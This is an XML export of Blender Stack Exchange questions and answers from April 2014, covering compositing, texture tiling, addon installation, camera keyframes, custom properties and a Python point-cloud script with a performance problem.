  <row Id="8277" PostTypeId="2" ParentId="8272" CreationDate="2014-04-03T05:47:59.827" Score="5" Body="&lt;p&gt;Use compositing. Enable strand render for the hair. Create one render layer with Freestyle enabled and Strand disabled. A second layer with Solid and Freestyle disabled and Strand enabled. That will give you one layer with freestyle lines around the object and another with just hair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CxD1M.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Composite together with an alpha over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jVXkS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-03T05:47:59.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8278" PostTypeId="1" AcceptedAnswerId="8284" CreationDate="2014-04-03T05:48:48.967" Score="17" ViewCount="7048" Body="&lt;p&gt;I added an Image Texture to a plane using a seamless image.  In the Texture context of Properties window, I set &lt;code&gt;Scale&lt;/code&gt; to be &lt;code&gt;X&lt;/code&gt;:10, &lt;code&gt;Y:&lt;/code&gt;10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unsurprisingly, a pattern forms when you zoom out from plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q31cN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get rid of this pattern?  (this is supposed to be grass, so it should look very random)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: For example, is there any way to add distortion to how the image is tiled onto the plane?  So if I were to represent the surface of the plane with a grid, the pattern on it would become distorted, like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f3ApZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-04-03T07:08:47.080" LastActivityDate="2014-04-03T13:11:47.393" Title="Unwanted patterns in texture from repeated, seamless image" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8279" PostTypeId="2" ParentId="8271" CreationDate="2014-04-03T05:53:46.563" Score="1" Body="&lt;p&gt;You could use a second mesh for the hair. This hair only object would sit just under the main object with the hair coming up through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow you to alter the main object in any way you want without affecting the hair emitter.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-03T05:53:46.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8280" PostTypeId="2" ParentId="8275" CreationDate="2014-04-03T05:55:14.077" Score="10" Body="&lt;p&gt;You could create a group &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; and set the object's name for each of your objects in &lt;em&gt;Object Mode&lt;/em&gt;. To add groups to the scene use the &lt;em&gt;Add Menu&lt;/em&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;  &lt;em&gt;Group Instance&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vP36q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you would like to add your objects from python to the menu you could use the &lt;code&gt;add_curve_extra_objects&lt;/code&gt; addon as a template you find it in the Blender installation directory in &lt;code&gt;2.70/scripts/addons/add_curve_extra_objects&lt;/code&gt; (where 2.70 is the version) see &lt;code&gt;__init__.py&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-04-03T06:49:06.250" LastActivityDate="2014-04-03T06:49:06.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8281" PostTypeId="2" ParentId="8275" CreationDate="2014-04-03T06:11:15.760" Score="4" Body="&lt;p&gt;To include your own objects in the add object menu you can create an addon. There are a few example addons available that you can look at, as well as a simple example script available in the python templates of blender's text editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While these examples use python code to create new objects you could have your script import an object from another blend file.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-03T06:11:15.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8282" PostTypeId="1" CreationDate="2014-04-03T06:40:25.053" Score="5" ViewCount="547" Body="&lt;p&gt;After UV mapping the default cube, I have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ACN6A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep the &lt;code&gt;Sticky Selection Mode&lt;/code&gt; setting in the UV Editor header on &lt;code&gt;Shared Location&lt;/code&gt; and enable proportional editing with &lt;code&gt;Proportional Editing Falloff&lt;/code&gt; set to &lt;code&gt;Random&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if I move the selected vertex with &lt;kbd&gt;G&lt;/kbd&gt;, all the other vertices come apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MUjsL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to keep the vertices together?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-10-02T15:54:09.180" Title="Sticky Selection Mode has no effect on random proportional editing in UV Editor" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8283" PostTypeId="2" ParentId="8275" CreationDate="2014-04-03T06:43:48.380" Score="15" Body="&lt;p&gt;There is an addon called &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?256602-Addon-EWOCprojects-presents-CreaPrim&quot; rel=&quot;noreferrer&quot;&gt;creaprim&lt;/a&gt; which allows you to do this.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install and enable the addon (&lt;a href=&quot;http://www.ewocprojects.be/object_creaprim.py&quot; rel=&quot;noreferrer&quot;&gt;direct download&lt;/a&gt;). Some people have had issues using this addon in the 2.70, you can find a patched version &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?332531-CreaPrim-script-giving-errors-when-used-in-2-70&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object which you wish to add to the &lt;em&gt;Add&lt;/em&gt; menu and press &lt;em&gt;Create Primitive&lt;/em&gt; in &lt;em&gt;Tools shelf &amp;gt; Tool &amp;gt; History &amp;gt; CreaPrim&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BsQN0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can now add it from the &lt;em&gt;Add&lt;/em&gt; menu:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2uyzJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-08T07:25:59.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8284" PostTypeId="2" ParentId="8278" CreationDate="2014-04-03T07:08:34.627" Score="15" Body="&lt;p&gt;You could try something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K0d4k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With undistorted coordinates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ByKbF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With distorted coordinates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vHRTo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with a checkered texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7adU5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-04-03T07:18:15.833" LastActivityDate="2014-04-03T07:18:15.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8285" PostTypeId="2" ParentId="8278" CreationDate="2014-04-03T07:45:01.213" Score="2" Body="&lt;p&gt;You could use your brush as a texture in texture painting mode: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Painting#Texture&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Painting#Texture&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2014-04-03T07:45:01.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8286" PostTypeId="1" AcceptedAnswerId="8287" CreationDate="2014-04-03T08:06:08.550" Score="5" ViewCount="5805" Body="&lt;p&gt;I need the camera to be able to zoom in (field of view) on a certain frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I do that it effects all the frames and isn't good at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way possible to make it so that on one frame the field of view is &lt;code&gt;32&lt;/code&gt;, then on the next frame it is &lt;code&gt;2.07&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-04-03T08:19:12.187" LastActivityDate="2014-04-19T03:54:31.447" Title="Change camera field of view on keyframe?" Tags="&lt;animation&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8287" PostTypeId="2" ParentId="8286" CreationDate="2014-04-03T08:15:18.027" Score="7" Body="&lt;p&gt;You should be able to simply add key frames to Focal Length (I don't have Blender at hand to check, but I think I've done it recently in one of projects).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selected one frame, enter value you want at that frame then press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; when hovering mouse over Focal Length value input. Then next frame, enter new value and press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; again.&#xA;This also lets you use F-Curves editor to specify whatever interpolation of value you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't think you want to be changing sensor size (though that I would suspect should also support key frames).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently you can't keyframe FOV (I thought it didn't matter whether you operate on FOV or FL), but you can focal length:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iJZi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1030" LastEditorUserId="2173" LastEditDate="2014-04-19T03:54:31.447" LastActivityDate="2014-04-19T03:54:31.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8289" PostTypeId="1" CreationDate="2014-04-03T08:22:23.317" Score="1" ViewCount="71" Body="&lt;p&gt;I would like to know if blender allows to establish an interaction between two different meshes. I've tried the example of soft body, with the jelly cube, etc. but that is not what I need. For example, if I want to simulate the interaction of forces between a ball and a elastic surface (no cloth), could I do that in blender?&#xA;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-04-03T08:22:23.317" Title="Interaction between two objects" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-04-03T15:55:42.993" ContentLicense="CC BY-SA 3.0" />
  <row Id="8290" PostTypeId="1" AcceptedAnswerId="8292" CreationDate="2014-04-03T10:49:03.823" Score="11" ViewCount="954" Body="&lt;p&gt;I need to store additional information in a &lt;em&gt;.blend&lt;/em&gt; file, that occurs only once per file. So, attaching it to, for example, &lt;code&gt;bpy.types.Scene&lt;/code&gt; doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;bpy.data&lt;/code&gt; is an instance of &lt;code&gt;bpy.types.BlendData&lt;/code&gt;, I tried attaching properties to &lt;code&gt;bpy.types.BlendData&lt;/code&gt;. This failed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.types.BlendData.testProp = bpy.props.StringProperty()&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.testProp&#xA;(&amp;lt;built-in function StringProperty&amp;gt;, {})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, &lt;code&gt;bpy.data.testProp&lt;/code&gt; is not a string, but some tuple, So it looks like registering properties on &lt;code&gt;bpy.types.BlendData&lt;/code&gt; is not supported, like it is for &lt;code&gt;bpy.types.Object&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.types.Object.testProp = bpy.props.StringProperty()&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['Camera'].testProp&#xA;''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it somehow possible to attach properties to &lt;code&gt;bpy.types.BlendData&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other ways to register global data in a &lt;em&gt;.blend&lt;/em&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="3010" LastEditorUserId="3010" LastEditDate="2014-04-03T10:55:24.397" LastActivityDate="2014-04-03T11:55:40.217" Title="How to register global (i.e., unique per file) properties?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8291" PostTypeId="2" ParentId="8262" CreationDate="2014-04-03T11:01:48.613" Score="6" Body="&lt;p&gt;It turned out that it happened to me when using the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Dimension&quot; rel=&quot;nofollow noreferrer&quot;&gt;Curve Dimension&lt;/a&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I added one dimension and changed its type from 2D to 3D, it crashed the addon (I need to report this to the author). However, this crash caused (that when adding any other objects including the curve dimension) all options &lt;kbd&gt;F6&lt;/kbd&gt; to be disabled. My solution to this was to restart Blender and reload the file. So I guess, that it is possible that some other addons which create geometry may cause the options to become disabled too.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastEditorUserId="30849" LastEditDate="2018-06-04T13:04:47.463" LastActivityDate="2018-06-04T13:04:47.463" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8292" PostTypeId="2" ParentId="8290" CreationDate="2014-04-03T11:55:40.217" Score="10" Body="&lt;p&gt;Short answer: no, you cannot store per-file custom data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A .blend file is basically just a collection of ID data blocks. There is no customizable data instance for &quot;the file&quot;. All custom data must be associated to one of the ID blocks (or possibly eligible subdata that supports custom props, like bones or nodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you actually want to do there are a number of other options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You could make a dummy ID block (e.g. Text) to which you add custom data&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.AddonPreferences.html&quot;&gt;Addon preferences&lt;/a&gt; can store custom properties for persistent settings of addon scripts&lt;/li&gt;&#xA;&lt;li&gt;Scene data blocks can be a viable option, they are a sort of &quot;root node&quot; in most cases&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It really depends on the actual use case.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2014-04-03T11:55:40.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8293" PostTypeId="1" AcceptedAnswerId="8299" CreationDate="2014-04-03T11:58:43.577" Score="4" ViewCount="1057" Body="&lt;p&gt;I tried to install the CreaPrim script and I ran the script 3 times due to confusion on my part, but the result is that now I have 3 CreaPrim sections in my Tools panel:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/siQTL.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get rid of 2 of them?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-03T15:27:20.220" LastActivityDate="2014-04-06T12:32:27.017" Title="How do I uninstall an Addon added by running a Python Script?" Tags="&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8294" PostTypeId="1" CreationDate="2014-04-03T12:20:05.207" Score="1" ViewCount="174" Body="&lt;p&gt;I installed the &lt;a href=&quot;http://www.ewocprojects.be/object_creaprim.py&quot; rel=&quot;nofollow&quot;&gt;CreaPrim&lt;/a&gt; addon and when I try to add a new primitive, I get the following error:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA; File &quot;/CreaPrim - create your own primitives&quot;, line 141, in invoke&#xA; NameError: global name 'do_creaprim' is not defined&#xA; location: &amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-04T01:35:55.683" LastActivityDate="2014-04-04T01:35:55.683" Title="Error when using CreaPrim addon" Tags="&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2014-04-03T16:12:30.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="8295" PostTypeId="1" CreationDate="2014-04-03T12:30:11.680" Score="1" ViewCount="161" Body="&lt;p&gt;To generate a point cloud i am using planes in blender, to compensate for unavailability of POINT data primitive. After reading the .ply point cloud file(PCD) the planes are added in the blender scene, initially blender starts off with scene creation very fast then keeps slowing down. Python script used is-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#This script has 2 different loops to &#xA;# 1. To read the .ply file &#xA;# 2. To create the scene by drawing the triangle..&#xA;import os&#xA;import subprocess&#xA;import bpy &#xA;from math import *&#xA;from array import *&#xA;import time&#xA;from mathutils import Vector&#xA;&#xA;# A file to record the time to draw each cycle of 1000 planes; &#xA;# to evaluate blender's performance and to check if it slows down or not.&#xA;&#xA;TimeFile=open(&quot;time_for_each_1000_planes.txt&quot;,&quot;w&quot;)  &#xA;SplatSize=0.01&#xA;&#xA;########################### ADD THE GEOMETRY ###################################################################&#xA;#bpy.ops.mesh.primitive_plane_add(location=(0,0,0))&#xA;#bpy.ops.transform.resize(value=(SplatSize,SplatSize,SplatSize))&#xA;##bpy.ops.surface.primitive_nurbs_surface_sphere_add(location=(0,0,0))&#xA;#ob = bpy.context.object&#xA;#obs = []&#xA;sce = bpy.context.scene&#xA;&#xA;path=os.getcwd()&#xA;print(path)&#xA;&#xA;file=open(&quot;chariot.ply&quot;,&quot;r&quot;)&#xA;&#xA;print(&quot;\n&quot;+file.name)&#xA;&#xA;for line in file:&#xA;    print(line)&#xA;    if(line == &quot;end_header\n&quot;):&#xA;        break&#xA;&#xA;l=file.readline()&#xA;w=l.split()&#xA;base_x=float(w[0])&#xA;base_y=float(w[1])&#xA;base_z=float(w[2])&#xA;&#xA;#for i in range(5):&#xA;    #line=file.readline()&#xA;count=0&#xA;vx=array('f')&#xA;vy=array('f')&#xA;vz=array('f')&#xA;nx=array('f')&#xA;ny=array('f')&#xA;nz=array('f')&#xA;r=array('f')&#xA;g=array('f')&#xA;b=array('f')&#xA;a=array('f')&#xA;&#xA;for line in file:  &#xA;#for i in range(10000):&#xA;    #line=file.readline()&#xA;    word=line.split()&#xA;    vx.append(float(word[0]) - base_x)  &#xA;    vy.append(float(word[1]) - base_y)&#xA;    vz.append(float(word[2]) - base_z)&#xA;    nx.append(float(word[3])) &#xA;    ny.append(float(word[4]))&#xA;    nz.append(float(word[5]))&#xA;    r.append(float(word[6])/255)&#xA;    g.append(float(word[7])/255)&#xA;    b.append(float(word[8])/255)&#xA;    a.append(float(word[9]))&#xA;    count+=1&#xA;&#xA;print(&quot;\nVertices read &quot;,count)&#xA;&#xA;bpy.ops.material.new()&#xA;&#xA;########################################start time################################&#xA;start_time=time.time()&#xA;loops=count/1000 &#xA;plane_cycle_time=time.time()  &#xA;&#xA;for j in range(50):&#xA;    bpy.ops.mesh.primitive_plane_add(location=(0,0,0))&#xA;    bpy.ops.transform.resize(value=(SplatSize,SplatSize,SplatSize))&#xA;    ob = bpy.context.object&#xA;    obs = []&#xA;    #print(&quot;\n %d&quot;,j)&#xA;    #input(&quot;Vishesh&quot;)    &#xA;    for i in range(1000):&#xA;        try:&#xA;#            if j==1 :&#xA;#                input(&quot;V1&quot;)&#xA;            index=j*1000+i&#xA;            x=nx[index]&#xA;            y=ny[index]&#xA;            z=nz[index]  &#xA;&#xA;            n=sqrt(x*x+y*y+z*z)&#xA;            theta=asin(y/n)&#xA;            phi=atan(x/z)&#xA;#            if j==1 :&#xA;#                input(&quot;V2&quot;)&#xA;            copy = ob.copy()&#xA;&#xA;            copy.location += Vector((vx[index],vy[index],vz[index]))&#xA;            copy.rotation_euler = Vector((theta,phi,0))&#xA;            copy.data = copy.data.copy() # also duplicate mesh, remove for linked duplicate&#xA;            #copy.scale=Vector((SplatSize,SplatSize,SplatSize)) &#xA;&#xA;            ############ ADD MATERIAL COLORS###########&#xA;            mat=bpy.data.materials.new(str(index))&#xA;            mat.diffuse_color=(r[index],g[index],b[index])&#xA;            copy.active_material=mat&#xA;            ###########################################&#xA;            obs.append(copy)&#xA;            print(&quot;\n&quot;,i)&#xA;            #print(&quot;%f \t %f \t %f&quot;,r[i],g[i],b[i])&#xA;            #print(r[i] + &quot;\t&quot; + g[i] + &quot;\t&quot; + b[i]) &#xA;            #bpy.ops.mesh.primitive_plane_add(location=(vx[i],vy[i],vz[i]), rotation=(theta,phi,0))&#xA;            #bpy.context.active_object.scale=(100,100,100)&#xA;            #print(&quot;\n&quot;,vx,vy,vz,nx,ny,nz,count)&#xA;        except Exception as e:&#xA;            print(&quot;\n&quot;+str(e))&#xA;            input(&quot;V&quot;)&#xA;&#xA;&#xA;&#xA;    print(&quot;\nPlanes drawn&quot;)&#xA;    for ob in obs:&#xA;        sce.objects.link(ob)&#xA;    print(&quot;\nObjects Linked&quot;)&#xA;&#xA;    sce.update() # don't place this in either of the above loops!&#xA;    print(&quot;\nScene Updated&quot;)&#xA;&#xA;    #################################### LINK ALL OBJECTS IN A SINGLE OBJECT ###################################################################&#xA;&#xA;    #bpy.context.scene.objects['Lamp'].select=False&#xA;    #bpy.context.scene.objects['Camera'].select=False&#xA;    obs[0].select=False&#xA;    obs[0].select=True&#xA;    bpy.ops.object.join()&#xA;&#xA;    bpy.ops.object.select_all(action='TOGGLE')&#xA;    bpy.ops.object.select_all(action='TOGGLE')&#xA;    bpy.ops.object.join()&#xA;&#xA;    print(&quot;\nObjects Joined&quot;)&#xA;    del obs&#xA;&#xA;    TimeFile.write(str(time.time()-plane_cycle_time)+&quot;\n&quot;)&#xA;    print(&quot;time for 1000 planes \t&quot; + str(time.time()-plane_cycle_time))&#xA;    plane_cycle_time=time.time()&#xA;    #input(&quot;\n\npress enter to exit ;&quot;)&#xA;&#xA;&#xA;#############################################################################################################################################&#xA;&#xA;print(&quot;\nTime Taken\t&quot;,time.time()-start_time,&quot; Seconds&quot;)&#xA;&#xA;####################################end time#########################################&#xA;&#xA;&#xA;&#xA;TimeFile.close()&#xA;file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Slow down in blender performance can be seen from the below data where each line represents the time taken in seconds to draw sets of consecutive 1000 planes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;26.79153299331665&#xA;26.65752387046814&#xA;28.741644144058228&#xA;30.28873300552368&#xA;32.21084189414978&#xA;33.99994492530823&#xA;35.764045000076294&#xA;37.720157861709595&#xA;39.598265171051025&#xA;41.57837796211243&#xA;37.80416202545166&#xA;39.386253118515015&#xA;40.98534393310547&#xA;42.07340693473816&#xA;43.78650403022766&#xA;45.42959904670715&#xA;47.141695976257324&#xA;48.8407940864563&#xA;50.68189787864685&#xA;52.37799596786499&#xA;53.14903998374939&#xA;54.75613212585449&#xA;56.50923180580139&#xA;57.913313150405884&#xA;59.77441906929016&#xA;61.81753492355347&#xA;63.92265701293945&#xA;65.804762840271&#xA;67.84588122367859&#xA;70.84805178642273&#xA;71.98911809921265&#xA;75.10729598999023&#xA;76.6093819141388&#xA;79.5775511264801&#xA;79.98557496070862&#xA;81.87668299674988&#xA;82.94774508476257&#xA;83.71978807449341&#xA;85.63689804077148&#xA;87.45800304412842&#xA;88.59806704521179&#xA;90.43417310714722&#xA;92.85531091690063&#xA;94.94843101501465&#xA;96.56852293014526&#xA;97.14555621147156&#xA;99.41268587112427&#xA;100.7247622013092&#xA;101.08678102493286&#xA;102.45886087417603&#xA;&#xA;total time=3163 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As can be seen time per 1000 planes, to draw the planes in the scene keeps on increasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me fix this problem of blender speed slowdown and explain what is exactly going wrong??&lt;/p&gt;&#xA;" OwnerUserId="2713" LastActivityDate="2014-04-03T12:30:11.680" Title="How to draw a colored point cloud from a .ply PCD file and render it?" Tags="&lt;performance&gt;&lt;point-clouds&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-04-04T18:27:39.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="8296" PostTypeId="2" ParentId="8294" CreationDate="2014-04-03T12:56:41.557" Score="1" Body="&lt;p&gt;Just so this is said... this is a bug, meant for the developer of the addon to fix... I would file a bug report. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie: &lt;strong&gt;There most likely is no way to fix it without re coding the addon&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;community answer on bug reports here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1377/best-place-to-put-bug-reports&quot;&gt;Best place to put bug reports?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the addon was working in a older version, then one solution would be to roll back to a previous version. Its a bit drastic but if you want to use the addon badly enough it would probably fix it.&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-04-03T12:56:41.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8297" PostTypeId="2" ParentId="8278" CreationDate="2014-04-03T13:11:47.393" Score="4" Body="&lt;p&gt;One solution i found was to add a copy of the same image, make it about 2.5 times larger, and rotate it my about 30 degrees. then use a mixRGB node to mix the 2, and set the factor to a noise texture, which is running through a brightness contrast node...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gx2XT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i actually keep this saved in my startup file as a nodegroup xD&lt;/p&gt;&#xA;" OwnerUserId="2801" LastActivityDate="2014-04-03T13:11:47.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8298" PostTypeId="1" CreationDate="2014-04-03T13:59:09.373" Score="13" ViewCount="1938" Body="&lt;p&gt;In terms of integrating Blender renders with existing photographs, is there a way to create a set of Blender mesh points using the parallax info between just a pair of stereo photographs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gotten good at regular camera tracking with video, and also using BLAM for static images, but what I'd really like to do is take two very clear and stable stereo images and extract as many good 3D points from them as possible, without resorting to also videoing in order to reconstruct the scene.&lt;/p&gt;&#xA;" OwnerUserId="621" LastEditorUserId="599" LastEditDate="2014-04-09T20:12:55.667" LastActivityDate="2015-12-26T05:44:59.473" Title="Extracting parallax data from only two photos to help reconstruct a 3D scene" Tags="&lt;image&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
